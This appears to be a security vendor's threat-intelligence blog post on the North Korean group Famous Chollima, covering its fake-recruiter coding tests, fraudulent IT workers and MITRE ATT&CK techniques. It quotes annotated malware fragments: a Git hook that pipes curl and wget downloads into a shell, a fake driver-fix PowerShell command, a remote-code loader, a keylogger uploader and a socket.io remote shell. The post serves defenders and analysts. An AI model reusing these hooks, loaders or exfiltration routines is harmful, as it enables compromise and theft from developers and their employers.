Famous Chollima APT Group: Major Activities, TTPs, and Simulation
| October 24, 2026
Key Takeaways
- Famous Chollima is a North Korean, financially motivated APT group active since 2018, notably targeting the US and India.
- Fake recruiters lure developers into coding assessments hosted on GitHub, Bitbucket, or GitLab that hide malicious loaders.
- Payloads execute through npm lifecycle scripts, VS Code folder-open tasks, Git hooks, and files disguised as fonts or SVGs.
- Fraudulent IT workers use US laptop farms and fake or stolen identities to hold insider access at Western employers.
- The Picus Threat Library includes Famous Chollima threats, letting teams simulate attacks and validate their security controls.
Famous Chollima is a North Korean state-sponsored, financially motivated APT group active since at least 2018. It targets software developers and cryptocurrency professionals, notably in the US and India, and organizations in aerospace, energy, finance, healthcare, defense, and technology.
Famous Chollima stands out for weaponizing the developer workflow. Its fake recruiters deliver trojanized coding assessments that execute through npm lifecycle scripts, VS Code folder-open tasks, Git hooks, and payloads disguised as font or SVG files, while ClickFix pages deploy PylangGhost. In parallel, its fraudulent IT workers use US laptop farms to hold insider access.
In this blog, we will explain Famous Chollima's major activities and TTPs and show how Picus helps you validate your security controls against this threat.
Simulate APT Attacks with 14-Day Free Trial of Picus Platform
What Are the Major Activities of the Famous Chollima Group?
2018 (at least) - Becomes active, conducting operations that illicitly obtain IT jobs to earn salaries funneled to North Korea.
December 2022 - Launches Contagious Interview, posing as recruiters to infect software developers with malware during fake interviews.
Mid-2024 - Planted IT workers exfiltrate proprietary data from Western employers and demand ransoms to prevent leaks.
August 2024 - Targets developers with malicious npm packages and infiltrates companies using falsified or stolen identity documents.
September 2024 - Introduces OtterCookie, a new JavaScript malware that steals victim data via Socket.IO communication.
September 2024 - Distributes a fake FreeConference installer to infect developers during fake job interviews.
February 2025 - Starts hiding malware in BNB Chain and Ethereum smart contracts using the EtherHiding technique.
February 2025 - Adopts ClickFix lures, tricking crypto job seekers into running commands that install the GolangGhost backdoor.
April 2025 - Sets up fake crypto companies like BlockNovas to lure IT professionals with job interviews.
May 2025 - Deploys PylangGhost, a Python-based RAT, through fake crypto job skill tests targeting Windows users.
August 2025 - US sanctions hit facilitators of the group's IT worker scheme, exposing nearly $600K in crypto-to-cash transfers.
March 2026 - Launches PolinRider, implanting obfuscated JavaScript in hundreds of GitHub repositories to spread a BeaverTail variant.
October 2026 - Over 40 laptop farms supporting the group's IT worker fraud are shut down, and 14 people are charged, but the group's operations are ongoing.
Which MITRE ATT&CK Techniques Are Used by Famous Chollima?
Tactic: Resource Development
T1583.001 Acquire Infrastructure: Domains
Famous Chollima registers domains for front companies that recruit developers and host attacker email accounts. Their websites list blockchain and web3 specialties to look like real hiring firms.
The group also registers domains for fake skill-testing portals and for payload delivery. Assessment portals use hiring-themed names or subdomains that carry a target brand (coinbase[.]talenthiringtool[.]com, krakenhire[.]com). Payload hosts pose as driver-fix services (api[.]quickcamfix[.]online, api[.]nvidia-release[.]org) [4].
T1585 Establish Accounts
Famous Chollima creates many recruiter and repository accounts on LinkedIn, Bitbucket, GitHub, and GitLab. The registration emails come mostly from Gmail, Outlook, and Hotmail and follow patterns such as dev or work keywords, or a first name, surname, and three or four digits (devsmart12, johndoe4567).
The group creates these accounts through Astrill VPN, which is its most common VPN, with Browsec VPN and Touch VPN also in use. It sends registration traffic through residential proxies so that it blends with consumer traffic. Many of the same exit IP addresses also appear in other North Korean operations.
Its fraudulent IT worker operation maintains separate identities for each fake persona. Each resume uses its own US VoIP number and links to LinkedIn and GitHub profiles with long, active commit histories.
The operators also buy or rent high-reputation freelance platform accounts from underground account sellers to win job bids.
T1608.001 Stage Capabilities: Upload Malware
Famous Chollima stages first-stage loaders in public "coding assessment" repositories built from reusable templates. Repository names carry words such as mvp, take-home, defi, casino, or real-estate. Each codebase has 20,000 to 30,000 lines of code, with the payload hidden in a single line.
The group stages next-stage JavaScript on legitimate SaaS JSON and mock-API services more often than on its own domains (jsonkeeper[.]com, api[.]mocki[.]io). In the example below, a Base64 global variable holds the staging URL, and a separate helper file fetches it with axios [1].
|
// atob() of this value returns payload URL global.characterKey = "...JhY2tzL2Vycm9ycy80NDIxMDE=";
// Below code decodes and fetches the staged payload try { const res = await axios.get(atob(global.characterKey)); // HTTP GET to the SaaS mock endpoint errorHandler(res.data.cookie); // the "cookie" field holds JavaScript to execute } |
The group also tells candidates to record a walkthrough of the assessment and push their copy to GitHub or Bitbucket. This makes infected victims re-host the malicious repository from legitimate accounts and spread the loader further.
Tactic: Initial Access
T1195.001 Supply Chain Compromise: Compromise Software Dependencies and Development Tools
Famous Chollima publishes malicious dependencies to the official npm registry and links them into assessment repositories. More than 2,500 packages tied to the operation hide payloads behind hundreds of spaces or blank lines. Since November 2025, the group also uses private npm packages that package scanners cannot read without an authentication token [1].
In one intrusion, the group used the public npm package node-nvm-ssh, listed as a dependency of a trojanized web3 chess application. Running npm install pulled the package, and its install scripts led to a combined BeaverTail and OtterCookie payload.
T1566.003 Phishing: Spearphishing via Service
Famous Chollima poses as recruiters on LinkedIn and invites developers to fake interviews. During the interview, the operator asks the candidate to complete a coding assessment hosted on Bitbucket, GitHub, or GitLab.
The group also contacts freelancers through Fiverr and sends project repositories as attachments in Discord conversations. In one case, the victim received a trojanized ChessFi project and cloned it from Bitbucket as instructed [3].
For non-developer roles, the group sends invite codes to skill-testing sites. These sites target employees with cryptocurrency and blockchain experience and impersonate firms such as Coinbase, Robinhood, and Uniswap.
Tactic: Execution
T1059.007 Command and Scripting Interpreter: JavaScript
Famous Chollima's repository loaders fetch a remote script with axios.get() and pass the response to a function named errorHandler() or asyncErrorHandler(). That function builds a new function from the response with Function.constructor and calls it with require, which gives the payload full Node.js module access [1].
|
// Below code fetches the staged payload (() => { try { // publicKey is a Base64 staging URL; the response's .data.cookie field contains JavaScript axios.get(atob(publicKey)).then((res) => errorHandler(res.data.cookie)); } ... })();
// Turns the fetched string into executable code const errorHandler = (error) => { try { ... const createHandler = (errCode) => { try { // Builds function(require){ <payload> } from the downloaded text const handler = new Function.constructor("require", errCode); return handler; } ... }; const handlerFunc = createHandler(error); if (handlerFunc) { handlerFunc(require); // runs the payload with access to fs, child_process, net, etc. } ... } ... } }; |
OtterCookie also builds its modules from strings at runtime and runs each one as a separate child process. Early versions evaluated JavaScript sent in HTTP response cookies. The v2 loader instead requests a token URL, receives an HTTP 500 response whose body is obfuscated JavaScript, and evaluates that body in the error handler [3].
|
HTTP/1.1 500 Internal Server Error X-Powered-By: Express Content-Type: text/html; charset=utf-8 Content-Length: 104379
try{ (function(_0x3d7a8a,_0x441031){function _0x35ddaf(_0x1ccb95,_0x2a3085, .. |
T1204.002 User Execution: Malicious File
Famous Chollima has used Git Hooks as an execution trigger. It places a small loader in hook files such as .githooks/pre-commit or .githooks/post-checkout, so that a routine Git action launches the malware.
Git normally runs hooks only from .git/hooks, and that folder is not copied when a repository is cloned. The group therefore commits its hooks to a separate .githooks folder, which is cloned with the rest of the code. Git ignores this folder until something configures Git to use it.
A VS Code task in .vscode/tasks.json makes that change. The group places VS Code tasks with "runOn": "folderOpen" in .vscode/tasks.json. Once the victim grants Workspace Trust, opening the repository runs the hidden command in the background.
It runs git config core.hooksPath .githooks, which makes the malicious folder Git's active hooks directory. It then runs git checkout master. The checkout immediately fires the post-checkout hook, which pipes a platform-specific second stage straight into the matching interpreter:
|
uname_s="$(uname -s 2>/dev/null || echo unknown)" # identify the OS case "$uname_s" in Darwin) # macOS: fetch and run in sh curl -s '<mac payload url>' | sh >/dev/null 2>&1 exit 0 ;; Linux) # Linux: wget to stdout, then sh wget -qO- '<linux payload url>' | sh >/dev/null 2>&1 exit 0 ;; MINGW*|MSYS*|CYGWIN*) # Windows Git Bash: pipe into cmd curl -s '<windows payload url>' | cmd >/dev/null 2>&1 exit 0 ;; *) exit 0 ;; esac |
T1204.004 User Execution: Malicious Copy and Paste
Famous Chollima's skill-testing sites ask for camera access after the questionnaire and then show a fake "camera or microphone is currently blocked" error. The page claims a Windows camera-driver race condition and tells the user to press Win+X, then A, and paste a driver-update command. The command copied by the victim is shown below:
|
Invoke-WebRequest -Uri "<payload url>" ` -OutFile "$env:TEMP\vdriverWin.zip" -UseBasicParsing; # ZIP with RAT modules + Python runtime Expand-Archive -Force -Path "$env:TEMP\vdriverWin.zip" ` -DestinationPath "$env:TEMP\vdriverWin"; # unpack to %TEMP% Start-Process "wscript.exe" -ArgumentList "`"$env:TEMP\vdriverWin\update.vbs`"" # run the launcher
# The VBS launcher extracts the bundled Python library and starts PylangGhost malware. |
T1204.005 User Execution: Malicious Library
Famous Chollima uses npm lifecycle scripts as backup triggers for payloads already hidden in the repository. One assessment's package.json maps prepare to npm start, so the obfuscated server code runs at install time as well as at launch [1].
|
"scripts": { "start": "concurrently \"node server/server.js\" \"react-app-rewired start\"", // starts the backdoored server "build": "react-app-rewired build", "test": "react-app-rewired test", "eject": "react-app-rewired eject", "prepare": "npm start", // runs automatically during npm install, so installing also executes the payload "server": "node server/server.js" } |
Tactic: Stealth
T1027 Obfuscated Files or Information
Famous Chollima pushes payloads out of view with dozens of spaces after a line of normal code, or with many blank lines at the end of a file. In one TypeScript declaration file, the loader starts at line 1012, after a thousand empty lines [1].
BeaverTail has used Base64-encoded strings and renamed variables, and the group often protects its JavaScript with different Obfuscator.io configurations. In one case, the C2 URL is stored as one shuffled string. The loader cuts it into four 10-character slices and reorders them [3].
|
const w = (t) => Buffer.from(t, "base64").toString("utf8"), // Base64 decoder g = (() => { let t = "MTk1LjIwMSaHR0cDovLw4xNzIuMTcwOjEyMjQ= "; // 40-character scrambled URL for (var e = "", r = "", c = "", n = "", a = 0; a < 10; a++) (e += t[a]), (r += t[10 + a]), (c += t[20 + a]), (n += t[30 + a]); // split into four slices // w(r) -> "http://" ; w(e + c + n) -> "195.201.172[.]170:1224" return (e = e + c + n), w(r) + w(e); })(); |
Python modules downloaded by BeaverTail and InvisibleFerret decode themselves at runtime. The first eight characters of the string are an XOR key, and the rest is Base64. The loop XORs each decoded byte with the key and passes the result to exec() [3].
|
q = "Glm" + "YksYL" + "TQUAKQQBLWw3AAwtDRwrIWsODCoORW1g..." # 8-char key + Base64 ciphertext import base64 d = base64.b64decode(q[8:]) # decode everything after the key sk = q[:8] # first 8 characters = XOR key sl = len(d); rr = '' for j in range(sl): k = j & 7 # cycle through the 8 key bytes c = chr(d[j] ^ ord(sk[k])) # XOR-decrypt one byte rr += c exec(rr) # run the recovered Python module |
T1036.008 Masquerading: Masquerade File Type
Famous Chollima hides obfuscated JavaScript in files named as web fonts in repository asset folders, such as /public/fontawesome/fa-solid-400.woff2 next to real .eot and .ttf font files.
The group has used .svg files the same way, with the payload either visible in the SVG source or stored as Base64.
T1497.001 Virtualization/Sandbox Evasion: System Checks
OtterCookie's main module checks for virtual machines before it reports to C2. On Linux, it reads /proc/cpuinfo and matches hypervisor names, then tags the release string with (VM) or (Local) so operators can separate sandbox runs from real infections [3].
|
else if (os.platform() == "linux") { let output = fs.readFileSync("/proc/cpuinfo", "utf8").toLowerCase(); // CPU flags and model strings if (/hypervisor|vmware|virtualbox|qemu|kvm|xen|parallels|bochs/.test(output)) { isVM = true; // known virtualization marker found } } // Host profile with the VM verdict, posted to the C2 process endpoint return await axios.post("<C2 URL>" + uid, { OS: os.type(), platform: os.platform(), release: os.release() + (isVM ? " (VM)" : "(Local)"), // marks sandbox or real host for triage host: os.hostname(), userInfo: os.userInfo(), uid: uid, t: 14 // campaign identifier }); |
T1684.001 Social Engineering: Impersonation
Famous Chollima's fraudulent IT workers pose as US-based remote employees under fake or stolen identities. Operatives working from abroad cannot receive the laptops their employers ship, and a device connecting from overseas would trigger geolocation-based fraud controls.
The group solves this with US laptop farms: residential locations where local facilitators receive, power on, and host the employer-issued laptops. Each laptop connects from a US home network, and the facilitator supplies the US address and legal identity needed to pass employment and banking identity checks.
To divert devices to these farms, operatives file false police reports claiming a laptop was stolen and rotate the replacement shipment through different residential addresses, claim last-minute relocations to redirect devices mid-shipment, or get hired through IT staffing firms whose client laptops can be rerouted without the firm noticing [2].
Tactic: Credential Access
T1555.003 Credentials from Password Stores: Credentials from Web Browsers
Famous Chollima's combined BeaverTail and OtterCookie payloads list browser profiles and steal saved credentials along with cryptocurrency wallet extension data.
PylangGhost's auto.py module steals stored browser credentials and session cookies and collects data from more than 80 extensions, including password managers and wallets such as 1Password, NordPass, MetaMask, and Phantom.
Also, the original BeaverTail payload fetched a helper module from /node/<node_version> on its C2 and saved it as %USERPROFILE%\store.node to decrypt Chrome credentials [5].
T1056.001 Input Capture: Keylogging
An OtterCookie variant adds a keylogging module that quietly installs node-global-key-listener, screenshot-desktop, and sharp. It writes keystrokes to 1.tmp in a Windows cache folder under the temp directory, flushes the buffer every second, and posts it to a remote server [3].
|
// OS-level keyboard and mouse hook const v = new globalKeyboardListener(); const uu = "<upload endpoint>"; const uf = async (p) => { const form = new FormData(); form.append("file", fs.createReadStream(p)); // buffered keystrokes form.append("text", text); try { await axios.post(uu, form, { headers: { ...form.getHeaders(), userkey: 144, hostname: os.hostname(), path: p, t: "14" } }); } catch (uploadErr) { // If the upload fails, append keystrokes to %TEMP%/windows cache/1.tmp for later } }; |
The same module captures the desktop every four seconds, saves it as 2.jpeg in the same folder, and converts it with sharp before upload. Some versions also read the clipboard.
Tactic: Collection
T1115 Clipboard Data
A variant of OtterCookie reads the clipboard with native operating system commands instead of a third-party library:
|
# macOS: print the current pasteboard contents to stdout pbpaste # Windows: read the clipboard text through PowerShell powershell Get-Clipboard |
InvisibleFerret installs pyperclip to read the clipboard on every platform.
T1119 Automated Collection
OtterCookie's file-upload module lists every drive and walks the file system to find files worth stealing. A large exclusion list skips dependency, build, and system folders, and the matching files go to a remote server.
InvisibleFerret's ssh_upload command collects in three modes: a whole directory, specific files, or a recursive pattern search. It uses similar exclusion and priority lists for documents and paths that contain metamask or wallet.
Tactic: Command and Control
T1071.001 Application Layer Protocol: Web Protocols
OtterCookie's remote shell module installs socket.io-client, which starts over HTTP and then upgrades to WebSocket. It waits for command events and runs each msg.message through child_process.exec with a hidden window [3].
|
let io = require("socket.io-client"); const socketServer = () => { const socket = io("<C2 Server>", { reconnectionAttempts: 15, reconnectionDelay: 2000, timeout: 2000 }); socket.on("command", (msg) => { // operator pushes shell commands as events try { exec(msg.message, { windowsHide: true, maxBuffer: 1024 * 1024 * 300 }, (error, stdout, stderr) => { /* output is emitted back over the same socket */ }); } catch (e) {} }); }; |
The BeaverTail side of the same payload uses plain HTTP to its C2.
PylangGhost talks to its C2 over plain HTTP and encrypts each message with RC4. Each message starts with a 16-byte MD5 checksum of the rest of the message, followed by the 128-byte RC4 key in clear, and then the encrypted data.
InvisibleFerret uses raw TCP for its C2 purposes.
How Picus Simulates Famous Chollima Attacks?
We strongly suggest simulating Famous Chollima attacks to test the effectiveness of your security controls against real-life cyber attacks using the Picus Platform. You can also test your defenses against hundreds of other threat groups within minutes with a 14-day free trial of the Picus Platform.
Picus Threat Library includes the following threats for Famous Chollima:
|
Threat ID |
Threat Name |
Attack Module |
|
32041 |
Famous Chollima Threat Group Campaign |
Windows Endpoint |
|
25788 |
GolangGhost Malware Campaign |
macOS Endpoint |
|
47484 |
PylangGhost RAT Download Threat |
Network Infiltration |
|
80210 |
PylangGhost RAT Email Threat |
E-mail Infiltration |
|
73558 |
Contagious Interview Threat Group Campaign Malware Download Threat |
Network Infiltration |
|
23117 |
Contagious Interview Threat Group Campaign Malware Email Threat |
E-mail Infiltration |
Start simulating emerging threats today and get actionable mitigation insights with a 14-day free trial of the Picus Platform.
What Are the Aliases of the Famous Chollima Group?
Famous Chollima is also known as: WageMole, Contagious Interview, Nickel Tapestry, PurpleBravo, Storm-1877, UNC5267, Void Dokkaebi, WaterPlum, Gwisin Gang, Itworkers, Storm0287, Tenacious Pungsan.
References
[1] R. Uysal, P. Rajendran, D. Osojca, and Atlassian Trust and Security, "From fake interviews to malicious repositories: Disrupting Contagious Interview," Atlassian Blog, Sept. 21, 2026. [Online]. Available: https://www.atlassian.com/blog/how-we-build/disrupting-contagious-interview. Accessed: Oct. 15, 2026.
[2] CrowdStrike Counter Adversary Operations, "U.S. Government disrupts FAMOUS CHOLLIMA operation with CrowdStrike assistance," CrowdStrike Blog, Oct. 13, 2026. [Online]. Available: https://www.crowdstrike.com/en-us/blog/fbi-disrupts-famous-chollima-operation-with-crowdstrike-assistance/. Accessed: Oct. 15, 2026.
[3] V. Svajcer and M. Kelley, "BeaverTail and OtterCookie evolve with a new Javascript module," Cisco Talos Blog, Oct. 16, 2025. [Online]. Available: https://blog.talosintelligence.com/beavertail-and-ottercookie/. Accessed: Oct. 15, 2026.
[4] V. Svajcer, "Famous Chollima deploying Python version of GolangGhost RAT," Cisco Talos Blog, June 18, 2025. [Online]. Available: https://blog.talosintelligence.com/python-version-of-golangghost-rat/. Accessed: Oct. 15, 2026.
[5] Unit 42, "Hacking employers and seeking employment: Two job-related campaigns bear hallmarks of North Korean threat actors," Palo Alto Networks Unit 42, Nov. 21, 2023. [Online]. Available: https://unit42.paloaltonetworks.com/two-campaigns-by-north-korea-bad-actors-target-job-hunters/. Accessed: Oct. 15, 2026.
